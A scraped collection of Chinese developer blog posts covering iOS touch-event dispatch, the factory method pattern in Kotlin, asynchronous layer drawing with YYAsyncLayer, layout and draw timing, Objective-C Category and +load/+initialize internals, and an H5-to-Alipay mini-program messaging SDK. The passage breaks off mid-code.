// CGAffineTransformMakeTranslation:会把之前形变给清空,重新开始设置形变参数
// make:相对于最原始的位置形变
// CGAffineTransform t:相对这个t的形变的基础上再去形变
// 如果相对哪个形变再次形变,就传入它的形变
self.transform = CGAffineTransformTranslate(self.transform, offsetX, offsetY);}
发生触摸事件后,系统会将该事件加入到一个由UIApplication管理的事件队列中,为什么是队列而不是栈?因为队列的特点是FIFO,即先进先出,先产生的事件先处理才符合常理,所以把事件添加到队列。
UIApplication会从事件队列中取出最前面的事件,并将事件分发下去以便处理,通常,先发送事件给应用程序的主窗口(keyWindow)。
主窗口会在视图层次结构中找到一个最合适的视图来处理触摸事件,这也是整个事件处理过程的第一步。
找到合适的视图控件后,就会调用视图控件的touches方法来作具体的事件处理。
触摸事件的传递是从父控件传递到子控件
也就是UIApplication->window->寻找处理事件最合适的view
注 意: 如果父控件不能接受触摸事件,那么子控件就不可能接收到触摸事件
应用如何找到最合适的控件来处理事件?
1.首先判断主窗口(keyWindow)自己是否能接受触摸事件
2.判断触摸点是否在自己身上
3.子控件数组中从后往前遍历子控件,重复前面的两个步骤(所谓从后往前遍历子控件,就是首先查找子控件数组中最后一个元素,然后执行1、2步骤)
4.view,比如叫做fitView,那么会把这个事件交给这个fitView,再遍历这个fitView的子控件,直至没有更合适的view为止。
5.如果没有符合条件的子控件,那么就认为自己最合适处理这个事件,也就是自己是最合适的view。
UIView不能接收触摸事件的三种情况:
1.不允许交互:userInteractionEnabled = NO
2.隐藏:如果把父控件隐藏,那么子控件也会隐藏,隐藏的控件不能接受事件
3.透明度:如果设置一个控件的透明度<0.01,会直接影响子控件的透明度。alpha:0.0~0.01为透明。
注 意
:默认UIImageView不能接受触摸事件,因为不允许交互,即userInteractionEnabled = NO。所以如果希望UIImageView可以交互,需要设置UIImageView的userInteractionEnabled = YES。
1.点击一个UIView或产生一个触摸事件A,这个触摸事件A会被添加到由UIApplication管理的事件队列中(即,首先接收到事件的是UIApplication)。
2.UIApplication会从事件对列中取出最前面的事件(此处假设为触摸事件A),把事件A传递给应用程序的主窗口(keyWindow)。
3.窗口会在视图层次结构中找到一个最合适的视图来处理触摸事件。(至此,第一步已完成)
摘自链接:https://blog.csdn.net/wywinstonwy/article/details/105293525
简单工厂模式每增加一个产品就要增加一个具体产品类和一个对应的具体工厂类,这增加了系统的复杂度,违背了“开闭原则”。
“工厂方法模式”是对简单工厂模式的进一步抽象化,其好处是可以使系统在不修改原来代码的情况下引进新的产品,即满足开闭原则。
工厂方法模式的主要角色如下。
具体产品:实现了抽象产品角色所定义的接口,由具体工厂来创建,它同具体工厂之间一一对应。
kotlin代码实现
//抽象产品:提供了产品的接口
interface IProduct{
fun setPingPai(string: String)
fun showName() :String
}
//具体产品1:实现抽象产品中的抽象方法
class Dog : IProduct{
var pinPai:String? = null
override fun setPingPai(string: String) {
this.pinPai = string
}
override fun showName() = "dog"
}
//具体产品2:实现抽象产品中的抽象方法
class Cat : IProduct{
var pinPai:String? = null
override fun setPingPai(string: String) {
this.pinPai = string
}
override fun showName() = "cat"
}
//抽象工厂:提供了厂品的生成方法
interface IFactory{
fun getPinPai():String
fun createProduct(type:Int):IProduct
}
//具体工厂1:实现了厂品的生成方法
class ABCFactory():IFactory{
override fun getPinPai() = "ABC"
override fun createProduct(type: Int): IProduct {
return when(type){
1-> Dog().apply { setPingPai(getPinPai()) }
2-> Cat().apply { setPingPai(getPinPai()) }
else -> throw NullPointerException()
}
}
}
//具体工厂2:实现了厂品的生成方法
class CBDFactory():IFactory{
override fun getPinPai() = "CBD"
override fun createProduct(type: Int): IProduct {
return when(type){
1-> Dog().apply { setPingPai(getPinPai()) }
2-> Cat().apply { setPingPai(getPinPai()) }
else -> throw NullPointerException()
}
}
}
//抽象产品
public interface Runnable {
public abstract void run();
}
//抽象工厂
public interface ThreadFactory {
Thread newThread(Runnable r);
}
具体的实现
//实现1 TaskThreadFactory
class TaskThreadFactory(var name: String) : ThreadFactory {
private val mThreadNumber = AtomicInteger(1)
override fun newThread(r: Runnable): Thread {
return Thread(r, name + "#" + mThreadNumber.getAndIncrement())
}
}
//实现2 DiskLruCacheThreadFactory
private static final class DiskLruCacheThreadFactory implements ThreadFactory {
@Override
public synchronized Thread newThread(Runnable runnable) {
Thread result = new Thread(runnable, "glide-disk-lru-cache-thread");
result.setPriority(Thread.MIN_PRIORITY);
return result;
}
}
解释:
参数Runnable r,我们可以创建很多此类线程的产品类,我们还可以创建工厂来创造某类专用线程
在 UIView 中有一个 CALayer 的属性,负责 UIView 具体内容的显示。具体过程是系统会把 UIView 显示的内容(包括 UILabel 的文字,UIImageView 的图片等)绘制在一张画布上,完成后倒出图片赋值给 CALayer 的 contents 属性,完成显示。
这其中的工作都是在主线程中完成的,这就导致了主线程频繁的处理 UI 绘制的工作,如果要绘制的元素过多,过于频繁,就会造成卡顿。
那么是否可以将复杂的绘制过程放到后台线程中执行,从而减轻主线程负担,来提升 UI 流畅度呢?
答案是可以的,系统给我们留下的异步绘制的口子,请看下面的流程图,它是我们进行基本绘制的基础。
UIView 调用 setNeedsDisplay 方法其实是调用其 layer 属性的同名方法,这时 layer 并不会立刻调用 display 方法,而是要等到当前 runloop 即将结束的时候调用 display,进入到绘制流程。在 UIView 中 layer.delegate 就是 UIView 本身,UIView 并没有实现 displayLayer: 方法,所以进入系统的绘制流程,我们可以通过实现 displayLayer: 方法来进行异步绘制。
有了上面的异步绘制原理流程图,我们可以得到一个实现异步绘制的初步思路:
在“异步绘制入口”去开辟子线程,然后在子线程中实现和系统类似的绘制流程。
要实现异步绘制,我们首先要了解系统的绘制流程,看下面一张流程图:
我们看一幅时序图
#import "AsyncDrawLabel.h"
#import <CoreText/CoreText.h>
@implementation AsyncDrawLabel
- (void)setText:(NSString *)text {
_text = text;
[self.layer setNeedsDisplay];
}
- (void)setFont:(UIFont *)font {
_font = font;
[self.layer setNeedsDisplay];
}
- (void)displayLayer:(CALayer *)layer {
dispatch_async(dispatch_get_global_queue(0, 0), ^{
__block CGSize size;
dispatch_sync(dispatch_get_main_queue(), ^{
size = self.bounds.size;
});
UIGraphicsBeginImageContextWithOptions(size, NO, UIScreen.mainScreen.scale);
CGContextRef context = UIGraphicsGetCurrentContext();
[self draw:context size:size];
UIImage *image = UIGraphicsGetImageFromCurrentImageContext();
UIGraphicsEndImageContext();
dispatch_async(dispatch_get_main_queue(), ^{
self.layer.contents = (__bridge id)image.CGImage;
});
});
}
- (void)draw:(CGContextRef)context size:(CGSize)size {
// 将坐标系上下翻转,因为底层坐标系和 UIKit 坐标系原点位置不同。
CGContextSetTextMatrix(context, CGAffineTransformIdentity);
CGContextTranslateCTM(context, 0, size.height); // 原点为左下角
CGContextScaleCTM(context, 1, -1);
CGMutablePathRef path = CGPathCreateMutable();
CGPathAddRect(path, NULL, CGRectMake(0, 0, size.width, size.height));
NSMutableAttributedString *attrStr = [[NSMutableAttributedString alloc]initWithString:self.text];
[attrStr addAttribute:NSFontAttributeName value:self.font range:NSMakeRange(0, self.text.length)];
CTFramesetterRef framesetter = CTFramesetterCreateWithAttributedString((CFAttributedStringRef)attrStr);
CTFrameRef frame = CTFramesetterCreateFrame(framesetter, CFRangeMake(0, attrStr.length), path, NULL);
CTFrameDraw(frame, context);
}
@end
AsyncDrawLabel 是一个继承 UIView 的类,其 Label 的文本绘制功能需要我们自己实现。
我们在 - (void)displayLayer:(CALayer *)layer 方法中异步在全局队列中创建上下文环境然后使用 - (void)draw:(CGContextRef)context size:(CGSize)size 方法进行文本的简单绘制,再回到主线程为 self.layer.contents 赋值。从而完成了一个简单的异步绘制。
当然这样的绘制的问题是,如果绘制数量较多,绘制频繁,会阻塞全局队列,因为全局队列中还有一些系统提交的任务需要执行,可能会对其造成影响。
YYAsyncLayer
我们需要更加优化的方式去管理异步绘制的线程和执行流程,使用 YYAsyncLayer 可以让我们把注意力放在具体的绘制(需要我们做的是上面代码中 - draw: size: 做的事情),而不需要考虑线程的管理,绘制的时机等,大大提高绘制的效率以及我们编程的速度。
YYAsyncLayer 的主要流程如下
在主线程的 RunLoop 中注册一个 observer,它的优先级要比系统的 CATransaction 低,保证系统先做完必须的工作。
把需要异步绘制的操作集中起来。比如设置字体、颜色、背景色等,不是设置一个就绘制一个,而是把它们集中起来,RunLoop 会在 observer 需要的时机通知统一处理。
处理时机到时,执行异步绘制,并在主线程中把绘制结果传递给 layer.contents。
流程图如下:
使用 YYAsyncLayer 的代码:
#import "AsyncDrawLabel.h"
#import <YYAsyncLayer.h>
#import <CoreText/CoreText.h>
@interface AsyncDrawLabel ()<YYAsyncLayerDelegate>
@end
@implementation AsyncDrawLabel
+ (Class)layerClass {
return YYAsyncLayer.class;
}
- (void)setText:(NSString *)text {
_text = text.copy;
[self commitTransaction];
}
- (void)setFont:(UIFont *)font {
_font = font;
[self commitTransaction];
}
- (void)layoutSubviews {
[super layoutSubviews];
[self commitTransaction];
}
- (void)contentsNeedUpdated {
[self.layer setNeedsDisplay];
}
- (void)commitTransaction {
[[YYTransaction transactionWithTarget:self selector:@selector(contentsNeedUpdated)] commit];
}
// 在这里创建异步绘制的任务
- (YYAsyncLayerDisplayTask *)newAsyncDisplayTask {
YYAsyncLayerDisplayTask *task = [YYAsyncLayerDisplayTask new];
task.willDisplay = ^(CALayer * _Nonnull layer) {
};
task.display = ^(CGContextRef _Nonnull context, CGSize size, BOOL (^ _Nonnull isCancelled)(void)) {
if (isCancelled() || self.text.length == 0) {
return;
}
// 在这里进行异步绘制
[self draw:context size:size];
};
task.didDisplay = ^(CALayer * _Nonnull layer, BOOL finished) {
if (finished) {
} else {
}
};
return task;
}
- (void)draw:(CGContextRef)context size:(CGSize)size {
// 将坐标系上下翻转,因为底层坐标系和 UIKit 坐标系原点位置不同。
CGContextSetTextMatrix(context, CGAffineTransformIdentity);
CGContextTranslateCTM(context, 0, size.height); // 原点为左下角
CGContextScaleCTM(context, 1, -1);
CGMutablePathRef path = CGPathCreateMutable();
CGPathAddRect(path, NULL, CGRectMake(0, 0, size.width, size.height));
NSMutableAttributedString *attrStr = [[NSMutableAttributedString alloc]initWithString:self.text];
[attrStr addAttribute:NSFontAttributeName value:self.font range:NSMakeRange(0, self.text.length)];
CTFramesetterRef framesetter = CTFramesetterCreateWithAttributedString((CFAttributedStringRef)attrStr);
CTFrameRef frame = CTFramesetterCreateFrame(framesetter, CFRangeMake(0, attrStr.length), path, NULL);
CTFrameDraw(frame, context);
}
@end
原文链接:https://blog.csdn.net/wywinstonwy/article/details/105660643
收起阅读 »Auto Layout是一种全新的布局方式,它采用一系列约束(constraints)来实现自动布局,当你的屏幕尺寸发生变化或者屏幕发生旋转时,可以不用添加代码来保持原有布局不变,实现视图的自动布局。
所谓约束,通常是定义了两个视图之间的关系(当然你也可以一个视图自己跟自己设定约束)。如下图就是一个约束的例子,当然要确定一个视图的位置,跟基于frame一样,也是需要确定视图的横纵坐标以及宽度和高度的,只是,这个横纵坐标和宽度高度不再是写死的数值,而是根据约束计算得来,从而达到自动布局的效果。
1、调用时机:loadView ->ViewDidload ->drawRect:
2、如果在UIView初始化时没有设置rect大小,将直接导致drawRect:不被自动调用。
3、通过设置contentMode属性值为UIViewContentModeRedraw。那么将在每次设置或更改frame
的时候自动调用drawRect:
。
4、直接调用setNeedsDisplay,或者setNeedsDisplayInRect:触发drawRect:,但是有个前提条件是:view当前的rect不能为nil
5、该方法在调用sizeThatFits后被调用,所以可以先调用sizeToFit计算出size。然后系统自动调用drawRect:方法。
这里简单说一下sizeToFit和sizeThatFit:
sizeToFit:会计算出最优的 size 而且会改变自己的size
sizeThatFits:会计算出最优的 size 但是不会改变 自己的 size
这个方法是用来对subviews重新布局
,默认没有做任何事情,需要子类进行重写。
当我们在某个类的内部调整子视图位置时,需要调用。
反过来的意思就是说:如果你想要在外部设置subviews的位置,就不要重写。
这个方法会在系统runloop的下一个周期自动调用layoutSubviews。
标记
,立即调用layoutSubviews进行布局(如果没有标记,不会调用layoutSubviews)这里注意一个点:标记,没有标记,即使我们掉了该函数也不起作用
。如果要立即刷新,要先调用[view setNeedsLayout],把标记设为需要布局,然后马上调用[view layoutIfNeeded],实现布局.
在视图第一次显示之前,标记总是“需要刷新”的,可以直接调用[view layoutIfNeeded]
这里有必要描述下三者之间的关系:
在没有外界干预的情况下,一个view的frame或者bounds发生变化时,系统会先去标记flag这个view,等下一次渲染时机到来时(也就是runloop的下一次循环),会去按照最新的布局去重新布局视图。setNeedLayout
就是给这个view添加一个标记,告诉系统下一次渲染时机需要重新布局这个视图。layoutIfNeed
就是告诉系统,如果已经设置了flag,那不用等待下个渲染时机到来,立即重新渲染。前提是设置了flag。
而layoutSubviews
则是由系统去调用,不需要我们主动调用,我们只需要调用layoutIfNeed
,告诉系统是否立即执行重新布局的操作。
1、init初始化不会触发layoutSubviews。这里需要补充一点:
2、addSubview会触发layoutSubviews。(当然这里frame为0,是不会调用的,同上面的drawrect:一样)
3、设置view的Frame会触发layoutSubviews,(当然前提是frame的值设置前后发生了变化。)
4、滚动一个UIScrollView会触发layoutSubviews。
5、旋转屏幕会触发父UIView上的layoutSubviews事件。(这个我们开发中会经常遇到,比如屏幕旋转时,为了界面美观我们需要修改子view的frame,那就会在layoutSubview中做相应的操作)
6、改变一个UIView大小的时候也会触发父UIView上的layoutSubviews事件。
7、直接调用setLayoutSubviews。(Apple是不建议这么做的)
layoutSubview是布局相关,而drawRect则是负责绘制。因此从调用时序上来讲,layoutSubviews要早于drawRect:函数。
前言
Category是我们平时用到的比较多的一种技术,比如说给某个类增加方法,添加成员变量,或者用Category优化代码结构。
我们通过下面这几个问题作为切入点,结合runtime的源码,探究一下Category的底层原理。
我们在Category中,可以直接添加方法,而且我们也都知道,添加的方法会合并到本类当中,同时我们也可以声明属性,但是此时的属性没有功能,也就是不能存值,这就类似于Swift中的计算属性,如果我们想让这个属性可以储存值,就要用runtime的方式,动态的添加。
探究
1. Category为什么能添加方法不能添加成员变量
首先我们先创建一个Person类,然后创建一个Person+Run的Category,并在Person+Run中实现-run方法。
我们可以使用命令行对Person+Run.m进行编译
xcrun -sdk iphonesimulator clang -rewrite-objc Person+Run.m
得到一个Person+Run.cpp文件,在文件的底部,可以找到这样一个结构体
struct _category_t {
const char *name;
struct _class_t *cls;
const struct _method_list_t *instance_methods;
const struct _method_list_t *class_methods;
const struct _protocol_list_t *protocols;
const struct _prop_list_t *properties;
};
这些字段几乎都是见名知意了。
每一个Category都会编译然后存储在一个_category_t类型的变量中
static struct _category_t _OBJC_$_CATEGORY_Person_$_Run __attribute__ ((used, section ("__DATA,__objc_const"))) =
{
"Person",
0, // &OBJC_CLASS_$_Person,
(const struct _method_list_t *)&_OBJC_$_CATEGORY_INSTANCE_METHODS_Person_$_Run,
0,
0,
0,
};
因为我们的Person+Run里面只有一个实例方法,从上述代码中来看,也只有对应的位置传值了。
通过这个_category_t的结构结构我们也可以看出,属性存储在_prop_list_t,这里并没有类中的objc_ivar_list结构体,所以Category的_category_t结构体中根本没有储存ivar的地方,所以不能添加成员变量。
如果我们在分类中手动为成员变量添加了set和get方法之后,也可以调用,但实际上是没有内存来储值的,这就好像Swift中的计算属性,只起到了计算的作用,就相当于是两个方法(set和get),但是并不能拥有真用的内存来存储值。
举个例子
@property (copy, nonatomic) NSString * name;
下面这个声明如果实在类中,系统会默认帮我们声明一个成员变量_name, 在.h中声明setName和name两个方法,并提供setName和name方法的默认实现。
如果是在Category中,只相当于声明setName和name两个方法,没有实现也没有_name。
2. Category的方法是何时合并到类中的
大家都知道Category分类肯定是我们的应用启动是,通过运行时特性加载的,但是这个加载过程具体的细节就要结合runtime的源码来分析了。
runtime源码太多了,我们先通过大概浏览代码来定位实现功能的相关位置。
我从objc-runtime-new.mm中找到了下面这个方法。
void attachLists(List* const * addedLists, uint32_t addedCount)
而且他的注释一些的很清楚,修复类的方法,协议和变量列表,关联还未关联的分类。
然后我们继续找,就找到了我们需要的这个方法。
void attachLists(List* const * addedLists, uint32_t addedCount)
我们从其中摘出一段代码来分析就可以解决我们的问题了。
// many lists -> many lists
uint32_t oldCount = array()->count;
uint32_t newCount = oldCount + addedCount;
setArray((array_t *)realloc(array(), array_t::byteSize(newCount)));
array()->count = newCount;
memmove(array()->lists + addedCount, array()->lists,
oldCount * sizeof(array()->lists[0]));
memcpy(array()->lists, addedLists,
addedCount * sizeof(array()->lists[0]));
在调用此方法之前我们所有的分类会被方法一个list里面(每一个分类都是一个元素),然后再调用attachLists方法,我们可以看到,在realloc的时候传进一个newCount,这是因为要增加分类中的方法,所以需要对之前的数组扩容,在扩容结束后先调用了memmove方法,在调用memcopy,大家可以上网查一下这两个方法具体的区别,这里简单一说,其实完成的效果都是把后面的内存的内容拷贝到前面内存中去,但是memmove可以处理内存重叠的问题。
其实也就是首先将原来数组中的每个元素先往后移动(我们要添加几个元素,就移动几位),因为移动后的位置,其实也是数组自己的内存空间,所以存在重叠问题,直接移动会导致元素丢失的问题,所以用memmove(会检测是否有内存重叠)。
移动完之后,把我们储存分类中方法的list中的元素移动到数组前面位置。
过程就是这样子了,其实我们第三个问题就顺便解决完了。
3. Category方法和类中方法的执行顺序
上面其实说到了,类中原来的方法是要往后面移动的,分类的方法添加到前面的位置,而且调用方法的时候是在list中遍历查找,所以我们调用方法的时候,肯定会先调用到Category中的方法,但是这并不是覆盖,因为我们的原方法还在,只是这中机制保证了如果分类中有重写类的方法,会被优先查找到。
4. +load和+initialize的区别
对于这个问题我们从两个角度出发分析,调用方式和调用时刻。
+load
简单的举一个例子,我们创建一个Person类,然后重写+load方法,然后为Person新建两个Category,都分别实现+load。
@implementation Person
+ (void)load {
NSLog(@"Person - load");
}
@end
@implementation Person (Test1)
+ (void)load {
NSLog(@"Person Test1 - load");
}
@end
@implementation Person (Test2)
+ (void)load {
NSLog(@"Person Test2 - load");
}
@end
当我们进行项目的时候,会得到下面的打印结果。
2020-09-14 09:34:41.900161+0800 Category[4533:53426] Person - load
2020-09-14 09:34:41.900629+0800 Category[4533:53426] Person Test1 - load
2020-09-14 09:34:41.900700+0800 Category[4533:53426] Person Test2 - load
我们并没有使用这个Person类和他的Category,所以应该是项目运行后,runtime在加载类和分类的时候,就会调用+load方法。
我们从源码中找到下面这个方法
void load_images(const char *path __unused, const struct mach_header *mh)
方法中的最后一行调用了call_load_methods(),这个call_load_methods()中就是实现了+load的调用方式。
下面是call_load_methods()函数的实现 ,大家简单浏览一遍
void call_load_methods(void)
{
static bool loading = NO;
bool more_categories;
loadMethodLock.assertLocked();
// Re-entrant calls do nothing; the outermost call will finish the job.
if (loading) return;
loading = YES;
void *pool = objc_autoreleasePoolPush();
do {
// 1. Repeatedly call class +loads until there aren't any more
while (loadable_classes_used > 0) {
call_class_loads();
}
// 2. Call category +loads ONCE
more_categories = call_category_loads();
// 3. Run more +loads if there are classes OR more untried categories
} while (loadable_classes_used > 0 || more_categories);
objc_autoreleasePoolPop(pool);
loading = NO;
}
从源码中很清楚的可以看到, 先调用call_class_loads(), 再调用call_category_loads(),这就说明了在调用所有的+load方法时,实现调用了所有类的+load方法,再去调用分类中的+load方法。
然后我们在进入到call_class_loads()函数中
static void call_class_loads(void)
{
int i;
// Detach current loadable list.
struct loadable_class *classes = loadable_classes;
int used = loadable_classes_used;
loadable_classes = nil;
loadable_classes_allocated = 0;
loadable_classes_used = 0;
// Call all +loads for the detached list.
for (i = 0; i < used; i++) {
Class cls = classes[i].cls;
load_method_t load_method = (load_method_t)classes[i].method;
if (!cls) continue;
if (PrintLoading) {
_objc_inform("LOAD: +[%s load]\n", cls->nameForLogging());
}
(*load_method)(cls, @selector(load));
}
// Destroy the detached list.
if (classes) free(classes);
}
从中间的循环中可以看出,是取到了每个类的+load函数的指针,直接通过指针调用了这个函数。 call_category_loads()函数中体现出来的Category的+load方法的调用,也是同理。
同时这也解答了我们的另一个疑惑,那就是为什么总是先调用类的+load,在调用Category的+load。
思考:如果存在继承的情况,+load又会是怎样的调用顺序呢?
从上面call_class_loads()函数中可以看到有一个list:loadable_classes,我们猜测这里面应该就是存放着我们所有的类,因为下面的循环是从0开始循环,所以我们要研究所有的类的+load方法的执行顺序,就要看这个list中的类的顺序是怎么样的。
我们从个源码中可以找到这样一个方法,prepare_load_methods,在其实现中调用了schedule_class_load方法,我们看一下schedule_class_load的源码
static void schedule_class_load(Class cls)
{
if (!cls) return;
ASSERT(cls->isRealized()); // _read_images should realize
if (cls->data()->flags & RW_LOADED) return;
// Ensure superclass-first ordering
schedule_class_load(cls->superclass);
add_class_to_loadable_list(cls);
cls->setInfo(RW_LOADED);
}
从源码中schedule_class_load(cls->superclass);这一句中可以看出,递归调用自己本身,并且传入自己的父类,结果递归之后,才调用add_class_to_loadable_list,这就说明父类总是在子类前面加入到list当中,所有在调用一个类的+load方法之前,肯定要先调用其父类的+load方法。
那如果是其他没有继承关系的类呢,这就跟编译顺序有关系了,大家可以自己尝试验证一下。
小结:
+load方法会在runtime加载类和分类时调用
每个类和分类的+load方法之后调用一次
调用顺序:先调用类的+load
+initialize
+initialize的调用是不同的,如果某一个类我们没有使用过,他的+initialize方法是不会调用的,到我们使用这个类(调用了类的某个方法)的时候,才会触发+initialize方法的调用。
@implementation Person
+ (void)initialize {
NSLog(@"Person - initialize");
}
@end
@implementation Person (Test1)
+ (void)initialize {
NSLog(@"Person Test1 - initialize");
}
@end
@implementation Person (Test2)
+ (void)initialize {
NSLog(@"Person Test2 - initialize");
}
@end
当我们执行[Person alloc];的时候,才会走+initialize方法,而且执行的Category中的+initialize:
2020-09-14 10:40:23.579623+0800 Category[9134:94173] Person Test2 - initialize
这个我们之前已经说过了,Category的方法会添加list的前面,所以会先被找到并且执行,所以我们猜测+initialize的执行是走的正常的消息机制,objc_msgSend。
由于objc_msgSend实现并没有完全开源,都是汇编代码,所以我们需要换一个思路来研究源码。
objc_msgSend本质是什么?以调用实例方法为例,其实就是通过isa指针找到该类,然后寻找方法,找到之后调用。如果没有找到则通过superClass找到父类,继续查找方法。上面的例子中,我们仅仅是调用了一个alloc方法,但是也执行了+initialize方法,所以我们猜测+initialize会在查找方法的时候调用到。通过这个思路,我们定位到了class_getInstanceMethod()函数(class_getInstanceMethod函数就是在类中查找某个sel时候调用的),在这个函数中,又调用了IMP lookUpImpOrForward(id inst, SEL sel, Class cls, int behavior)
在该函数中我们可以找到下面这段代码
if ((behavior & LOOKUP_INITIALIZE) && !cls->isInitialized()) {
initializeNonMetaClass (_class_getNonMetaClass(cls, inst));
}
可以看出如果类还没有执行+initialize 就会先执行,我们再看一下if语句中的initializeNonMetaClass函数,他会先拿到superClass,执行superClass的+initialize
supercls = cls->superclass;
if (supercls && !supercls->isInitialized()) {
initializeNonMetaClass(supercls);
}
这就是存在继承的情况,为什么会先执行父类的+initialize。
大总结
调用方式:
load是根据函数地址直接调用
initialize是通过消息机制objc_msgSend调用
调用时刻:
load是在runtime加载类和分类时调用(只会调用一次)
initialize是在类第一次收到消息时调用个,默认没有继承的情况下每个类只会initialize一次(父类的initialize可能会被执行多次)
调用顺序
load
先调用类的load:先编译的类先调用,子类调用之前,先调用父类的
在调用Category的load:先编译的先调用
initialize
先初始化父类
在初始化子类(初始化子类可能调用父类的initialize)
补充
上面总结的时候说到父类的initialize会被执行多次,什么情况下会被执行多次,为什么?举个例子:
@implementation Person
+ (void)initialize {
NSLog(@"Person - initialize");
}
@end
@implementation Student
@end
Student类继承Person类,并且只有父类Person中实现了+initialize,Student类中并没有实现
此时我们调用[Student alloc];, 会得到如下的打印。
2020-09-14 11:31:55.377569+0800 Category[11483:125034] Person - initialize
2020-09-14 11:31:55.377659+0800 Category[11483:125034] Person - initialize
Person的+initialize被执行了两次,但这两个意义是不同的,第一次执行是因为在调用子类的+initialize方法之前必须先执行父类的了+initialize,所以会打印一次。当要执行子类的+initialize时,通过消息机制,student类中并没有找到实现的+initialize的实现,所以要通过superClass指针去到父类中继续查找,因为父类中实现了+initialize,所以才会有了第二次的打印。
结尾
本文的篇幅略长,笔者按照自己的思路和想法写完了此文,陈述过程不一定那么调理和完善,大家在阅读过程中发现问题,可以留言交流。
感谢阅读。
转自:https://www.jianshu.com/p/141b04e376d4
收起阅读 »在套壳小程序盛行的当下, h5调用小程序能力来打破业务边界已成为家常便饭,h5与小程序的结合,极大地拓展了h5的能力边界,丰富了h5的功能。使许多以往纯h5只能想想或者实现难度极大的功能变得轻松简单。
但在套壳小程序中,h5与小程序通信存在以下几个问题:
因业务的特殊性,需要投放多端,小程序sdk的加载没有放到head里面,而是在应用启动时动态判断是小程序环境时自动注入的方式:
export function injectMiniAppScript() {
if (isAlipayMiniApp() || isAlipayMiniAppWebIDE()) {
const s = document.createElement('script');
s.src = 'https://appx/web-view.min.js';
s.onload = () => {
// 加载完成时触发自定义事件
const customEvent = new CustomEvent('myLoad', { detail:'' });
document.dispatchEvent(customEvent);
};
s.onerror = (e) => {
// 加载失败时上传日志
uploadLog({
tip: `INJECT_MINIAPP_SCRIPT_ERROR`,
});
};
document.body.insertBefore(s, document.body.firstChild);
}
}
加载脚本完成后,我们就可以调用my.postMessage
和my.onMessage
进行通信(统一约定h5发送消息给小程序时,必须带action
,小程序根据action
处理业务逻辑,同时小程序处理完成的结果必须带type
,h5在不同的业务场景下通过my.onMessage
处理不同type的响应),比如典型的,h5调用小程序签到:
h5部分代码如下:
// 处理扫脸签到逻辑
const faceVerify = (): Promise => {
return new Promise((resolve) => {
const handle = () => {
window.my.onMessage = (result: AlipaySignResult) => {
if (result.type === 'FACE_VERIFY_TIMEOUT' ||
result.type === 'DO_SIGN' ||
result.type === 'FACE_VERIFY' ||
result.type === 'LOCATION' ||
result.type === 'LOCATION_UNBELIEVABLE' ||
result.type === 'NOT_IN_ALIPAY') {
resolve(result);
}
};
window.my.postMessage({ action: SIGN_CONSTANT.FACE_VERIFY, activityId: id, userId: user.userId });
};
if (window.my) {
handle();
} else {
// 先记录错误日志
sendErrors('/threehours.3hours-errors.NO_MY_VARIABLE', { msg: '变量不存在' });
// 监听load事件
document.addEventListener('myLoad', handle);
}
});
};
实际上还是相当繁琐的,使用时都要先判断my是否存在,进行不同的处理,一两处还好,多了就受不了了,而且这种散乱的代码遍布各处,甚至是不同的应用,于是,我封装了下面这个sdkminiAppBus
,先来看看怎么用,还是上面的场景
// 处理扫脸签到逻辑
const faceVerify = (): Promise => {
miniAppBus.postMessage({ action: SIGN_CONSTANT.FACE_VERIFY, activityId: id, userId: user.userId });
return miniAppBus.subscribeAsync([
'FACE_VERIFY_TIMEOUT',
'DO_SIGN',
'FACE_VERIFY',
'LOCATION',
'LOCATION_UNBELIEVABLE',
'NOT_IN_ALIPAY',
])
};
可以看到,无论是postMessage还是监听message,都不需要再关注环境,直接使用即可。在业务场景复杂的情况下,提效尤为明显。
为了满足不同场景和使用的方便,公开暴露的interface如下:
interface MiniAppEventBus {
/**
* @description 回调函数订阅单个、或多个type
* @template T
* @param {(string | string[])} type
* @param {MiniAppMessageSubscriber} callback
* @memberof MiniAppEventBus
*/
subscribe(type: string | string[], callback: MiniAppMessageSubscriber): void;
/**
* @description Promise 订阅单个、或多个type
* @template T
* @param {(string | string[])} type
* @returns {Promise>}
* @memberof MiniAppEventBus
*/
subscribeAsync(type: string | string[]): Promise>;
/**
* @description 取消订阅单个、或多个type
* @param {(string | string[])} type
* @returns {Promise}
* @memberof MiniAppEventBus
*/
unSubscribe(type: string | string[]): Promise;
/**
* @description postMessage替代,无需关注环境变量
* @param {MessageToMiniApp} msg
* @returns {Promise}
* @memberof MiniAppEventBus
*/
postMessage(msg: MessageToMiniApp): Promise;
}
subscribe
:函数接收两个参数,
type:需要订阅的type,可以是字符串,也可以是数组。
callback:回调函数。subscribeAsync
:接收type(同上),返回Promise对象,值得注意的是,目前只要监听到其中一个type返回,promise就resolved,未来对同一个action对应多个结果type时存在问题,需要拓展,不过目前还未遇到此类场景。unsubscribe
:取消订阅。postMessage
:postMessage替代,无需关注环境变量。
完整代码:
import { injectMiniAppScript } from './tools';
/**
* @description 小程序返回结果
* @export
* @interface MiniAppMessage
*/
interface MiniAppMessageBase {
type: string;
}
type MiniAppMessage = MiniAppMessageBase & {
[P in keyof T]: T[P]
}
/**
* @description 小程序接收消息
* @export
* @interface MessageToMiniApp
*/
export interface MessageToMiniApp {
action: string;
[x: string]: unknown
}
interface MiniAppMessageSubscriber {
(params: MiniAppMessage): void
}
interface MiniAppEventBus {
/**
* @description 回调函数订阅单个、或多个type
* @template T
* @param {(string | string[])} type
* @param {MiniAppMessageSubscriber} callback
* @memberof MiniAppEventBus
*/
subscribe(type: string | string[], callback: MiniAppMessageSubscriber): void;
/**
* @description Promise 订阅单个、或多个type
* @template T
* @param {(string | string[])} type
* @returns {Promise>}
* @memberof MiniAppEventBus
*/
subscribeAsync(type: string | string[]): Promise>;
/**
* @description 取消订阅单个、或多个type
* @param {(string | string[])} type
* @returns {Promise}
* @memberof MiniAppEventBus
*/
unSubscribe(type: string | string[]): Promise;
/**
* @description postMessage替代,无需关注环境变量
* @param {MessageToMiniApp} msg
* @returns {Promise}
* @memberof MiniAppEventBus
*/
postMessage(msg: MessageToMiniApp): Promise;
}
class MiniAppEventBus implements MiniAppEventBus{
/**
* @description: 监听函数
* @type {Map}
* @memberof MiniAppEventBus
*/
listeners: Map;
constructor() {
this.listeners = new Map>>();
this.init();
}
/**
* @description 初始化
* @private
* @memberof MiniAppEventBus
*/
private init() {
if (!window.my) {
// 引入脚本
injectMiniAppScript();
}
this.startListen();
}
/**
* @description 保证my变量存在的时候执行函数func
* @private
* @param {Function} func
* @returns
* @memberof MiniAppEventBus
*/
private async ensureEnv(func: Function) {
return new Promise((resolve) => {
const promiseResolve = () => {
resolve(func.call(this));
};
// 全局变量
if (window.my) {
